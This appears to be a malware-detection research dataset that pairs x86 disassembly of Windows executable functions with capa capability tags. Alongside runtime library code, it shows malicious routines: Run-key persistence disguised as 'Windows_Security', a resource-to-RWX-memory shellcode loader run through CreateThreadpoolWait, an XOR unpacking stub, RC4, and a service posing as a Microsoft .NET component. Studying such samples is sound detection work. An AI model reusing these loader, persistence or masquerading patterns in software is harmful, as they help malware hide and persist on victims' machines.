joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46cece
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x522aa0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0046625f
mov dword [ebp - 0x14], eax
cmp dword [0x5249d8], edi
jne 0x46cfbf
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x46cf4c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x46d09f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x46d09f
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x46d09f
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x5249d8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x5249dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x5249e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5249e8], eax
test eax, eax
je 0x46cfbc
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5249e4], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x46cfe4
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x46cfd7
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x46cff9
push 4
pop eax
jmp 0x46d0a1
cmp dword [ebp - 0x14], edi
je 0x46cff9
push dword [0x5249d8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x46cfde
mov eax, dword [0x5249e4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x46d057
cmp dword [0x5249e8], esi
je 0x46d057
push eax
call ebx
push dword [0x5249e8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x46d057
test eax, eax
je 0x46d057
call ecx
test eax, eax
je 0x46d04c
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x46d04c
test byte [ebp - 8], 1
jne 0x46d057
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x46d087
mov eax, dword [0x5249dc]
cmp eax, esi
je 0x46d084
push eax
call ebx
test eax, eax
je 0x46d084
call eax
mov edi, eax
test edi, edi
je 0x46d084
mov eax, dword [0x5249e0]
cmp eax, esi
je 0x46d084
push eax
call ebx
test eax, eax
je 0x46d084
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x5249d8]
call ebx
test eax, eax
je 0x46d09f
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x46d0a1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00462232
leave
ret
Function at 0x4039cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00403061
test eax, eax
pop ecx
je 0x403a23
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x403756
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402ca7
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.004031c0
add esp, 0x18
call fcn.00402217
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d7a
nop
nop
sub eax, 0x403d20
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x40266c
Capabilities:
Terminate process

Disassembly:
jmp 0x41765d
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x41766e
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00403acb
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x402702
Capabilities:
Query environment variable

Disassembly:
jmp 0x4439ca
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x4439db
pop esi
ret
push ebx
push edi
push esi
call fcn.004438b1
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00402c39
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x443a03
push ebx
push esi
push edi
call fcn.00403990
add esp, 0xc
push 0
call fcn.00403fe9
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x4039fe
Capabilities:
Parse pe header

Disassembly:
jmp 0x409dff
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x409e3e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x409e3e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x409e3e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x409e3e
cmp dword [ecx + 0x74], 0xe
jbe 0x409e3e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4197f3
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x419832
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x419832
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x419832
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x419832
cmp dword [ecx + 0x74], 0xe
jbe 0x419832
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4418f4
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x476004]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x44193f
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00441eab
test al, al
jne 0x441939
sub edx, 2
cmp edx, edi
jne 0x44191f
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x441961
lea eax, [edi + 2]
cmp edx, eax
je 0x441961
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.004414ed
add esp, 0x10
jmp 0x441a5b
push esi
lea ecx, [ebp - 0x255]
call fcn.00441eab
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4419a4
push dword [ebp - 0x25c]
jmp 0x441951
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x4419e1
cmp word [ebp - 0x226], 0
je 0x441a02
cmp word [ebp - 0x226], ax
jne 0x4419e1
cmp word [ebp - 0x224], 0
je 0x441a02
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.004414ed
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x441a4e
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x4419bb
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x441a36
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x441a5b
push 0x440dd3
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00403896
add esp, 0x10
jmp 0x441a2b
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040233d
leave
ret

Function at 0x449504
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00402e46
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x449573
cmp esi, dword [ebp - 4]
je 0x44956e
cmp dword [ebp + 0xc], 0
je 0x44956e
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x44954b
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.00448f2c
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x449575
xor eax, eax
inc eax
jmp 0x449575
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x459b2b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4782c8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x459b6b
cmp byte [ebx], 0xa
jne 0x459b6b
or byte [edi + eax + 0x28], 4
jmp 0x459b70
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x459c6f
mov dl, byte [eax]
cmp dl, 0x1a
je 0x459c52
inc eax
cmp dl, 0xd
je 0x459b9c
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x459bc2
cmp eax, ecx
jae 0x459bd0
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x459b84
jmp 0x459c6f
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x459c4d
cmp dword [ebp - 0x10], 0
je 0x459c4d
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x4782c8]
test byte [eax + edi + 0x28], 0x48
je 0x459c27
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x459c12
mov byte [esi], dl
jmp 0x459c23
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4782c8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x459c6f
cmp byte [ebp - 1], 0xa
jne 0x459c36
cmp esi, ebx
jne 0x459c36
mov byte [esi], 0xa
jmp 0x459c6e
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00401564
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x459c6f
mov byte [esi], 0xd
jmp 0x459c6e
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x4782c8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x459c6c
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x459c6f
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x459ccb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x4782c8]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x459d11
cmp word [ebx], dx
jne 0x459d11
or byte [eax + edi + 0x28], 4
jmp 0x459d16
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x459e79
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x459e59
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x459d57
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x459d8d
cmp eax, edx
jae 0x459d9b
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x459d32
jmp 0x459e79
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x459e54
cmp dword [ebp - 0x18], 0
je 0x459e54
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x4782c8]
test byte [eax + edi + 0x28], 0x48
je 0x459e2a
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x459dee
mov word [esi], cx
jmp 0x459e25
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x4782c8]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x4782c8]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x4782c8]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x459e79
pop eax
cmp word [ebp - 4], ax
jne 0x459e3a
cmp esi, ebx
jne 0x459e3a
mov word [esi], ax
jmp 0x459e76
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00401564
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x459e79
push 0xd
pop eax
jmp 0x459e35
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x4782c8]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x459e73
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x459e79
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x412004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x100
xor edi, edi
mov dword [ebp - 0x208], edx
lea eax, [ebp - 0x204]
mov dword [ebp - 0x20c], ecx
push edi
push eax
call fcn.00402260
push 0x100
lea eax, [ebp - 0x104]
push edi
push eax
call fcn.00402260
mov edx, dword [ebp + 8]
add esp, 0x18
xor eax, eax
mov ecx, eax
mov byte [ebp + eax - 0x104], al
and ecx, 0x7f
mov cl, byte [ecx + edx]
mov byte [ebp + eax - 0x204], cl
inc eax
cmp eax, 0x100
jl 0x401050
xor esi, esi
mov dl, byte [ebp + esi - 0x104]
movzx eax, byte [ebp + esi - 0x204]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x401096
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi - 0x104]
mov byte [ebp + esi - 0x104], al
inc esi
mov byte [ebp + edi - 0x104], dl
cmp esi, 0x100
jl 0x401070
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp dword [ebp - 0x208], ebx
jbe 0x40112f
inc esi
and esi, 0x800000ff
jns 0x4010d3
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [ebp + esi - 0x104]
movzx eax, dl
add edi, eax
and edi, 0x800000ff
jns 0x4010ef
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [ebp + edi - 0x104]
mov byte [ebp + esi - 0x104], al
mov byte [ebp + edi - 0x104], dl
movzx ecx, byte [ebp + esi - 0x104]
movzx eax, dl
add ecx, eax
movzx eax, cl
mov ecx, dword [ebp - 0x20c]
movzx eax, byte [ebp + eax - 0x104]
xor byte [ecx + ebx], al
inc ebx
cmp ebx, dword [ebp - 0x208]
jb 0x4010c2
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004013e5
mov esp, ebp
pop ebp
ret

Function at 0x401140
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x412004]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x4011b7
push ebx
push esi
push 0x228
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x230], 0x22c
push 0
push eax
call fcn.00402260
add esp, 0xc
lea eax, [ebp - 0x230]
xor esi, esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4011c6
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
lea eax, [ebp - 0x230]
inc esi
push eax
push edi
call ebx
test eax, eax
jne 0x4011a1
cmp esi, 0x28
pop esi
pop ebx
jle 0x4011c6
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.004013e5
mov esp, ebp
pop ebp
ret
push 1
call fcn.00402d5d
int3
Function at 0x4011d0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x412004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x100
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.00402260
add esp, 0xc
lea eax, [ebp - 0x104]
push 0x100
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x401263
lea ecx, [ebp - 0x104]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401231
sub ecx, edx
lea eax, [ebp - 0x104]
push ecx
push eax
push 1
push 0
push str.Windows_Security
push dword [ebp - 0x108]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x108]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004013e5
mov esp, ebp
pop ebp
ret

Function at 0x401280
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9c
mov eax, dword [0x412004]
xor eax, esp
mov dword [esp + 0x98], eax
push ebx
push esi
push edi
push 0xa
push 0x64
push 0
mov dword [esp + 0x20], edx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x4012ca
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x98]
xor ecx, esp
call fcn.004013e5
mov esp, ebp
pop ebp
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [esp + 0x10], eax
test eax, eax
je 0x4012b3
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4012b3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x4012b3
mov ecx, 0x22
lea edi, [esp + 0x18]
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
cmp dword [esp + 0x18], 0
je 0x40130e
call fcn.00401140
cmp dword [esp + 0x1c], 0
je 0x40131a
call fcn.004011d0
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x14]
add eax, 0xffffff78
push eax
mov dword [edi], eax
call fcn.004013f6
push dword [edi]
lea ecx, [ebx + 0x88]
mov esi, eax
push ecx
push esi
call fcn.0040ac80
mov edx, dword [edi]
lea eax, [esp + 0x30]
add esp, 0xc
mov ecx, esi
push eax
call section..text
mov ecx, dword [esp + 0xac]
add esp, 8
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004013e5
mov esp, ebp
pop ebp
ret
Function at 0x401370
Capabilities:
Allocate or change rwx memory
Execute shellcode via createthreadpoolwait

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea edx, [ebp - 4]
mov dword [ebp - 4], 0
call fcn.00401280
mov ebx, eax
test ebx, ebx
je 0x4013dc
push esi
mov esi, dword [ebp - 4]
push edi
push 0x40
push 0x3000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
mov edi, eax
push ebx
push edi
call fcn.0040ac80
add esp, 0xc
push 0
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
push 0
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x406070
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x80fd7b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x40433c
call fcn.00406cd1
push 4
mov dword [esp + 0x18], 0
call fcn.00407b92
mov edi, eax
add esp, 4
test edi, edi
je 0x4060e4
push ebx
call fcn.00406ba9
mov dword [edi], eax
call fcn.00406968
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00406c92
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4060d8
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.00406cba
pop ebx
jmp 0x4060e6
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x408601
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x813dc0]
jne 0x40860b
repz ret
jmp fcn.0040dd6c
Function at 0x412974
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x813dc0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040a97a
and dword [ebp - 0x14], 0
cmp dword [0x8163b4], 0
mov dword [ebp - 0x18], eax
jne 0x412a27
push 0x403fa0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x412acf
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403f94
push ebx
call edi
test eax, eax
je 0x412acf
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403f84
push ebx
mov dword [0x8163b4], eax
call edi
push eax
call esi
push 0x403f70
push ebx
mov dword [0x8163b8], eax
call edi
push eax
call esi
push 0x403f54
push ebx
mov dword [0x8163bc], eax
call edi
push eax
call esi
mov dword [0x8163c4], eax
test eax, eax
je 0x412a27
push 0x403f3c
push ebx
call edi
push eax
call esi
mov dword [0x8163c0], eax
mov eax, dword [0x8163c0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x412a80
cmp dword [0x8163c4], ecx
je 0x412a80
push eax
call esi
push dword [0x8163c4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x412a80
test ebx, ebx
je 0x412a80
call edi
test eax, eax
je 0x412a77
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x412a77
test byte [ebp - 8], 1
jne 0x412a80
or dword [ebp + 0x10], 0x200000
jmp 0x412ab3
mov eax, dword [0x8163b8]
cmp eax, dword [ebp - 0x18]
je 0x412ab3
push eax
call esi
test eax, eax
je 0x412ab3
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x412ab3
mov eax, dword [0x8163bc]
cmp eax, dword [ebp - 0x18]
je 0x412ab3
push eax
call esi
test eax, eax
je 0x412ab3
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x8163b4]
call esi
test eax, eax
je 0x412acf
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x412ad1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408601
leave
ret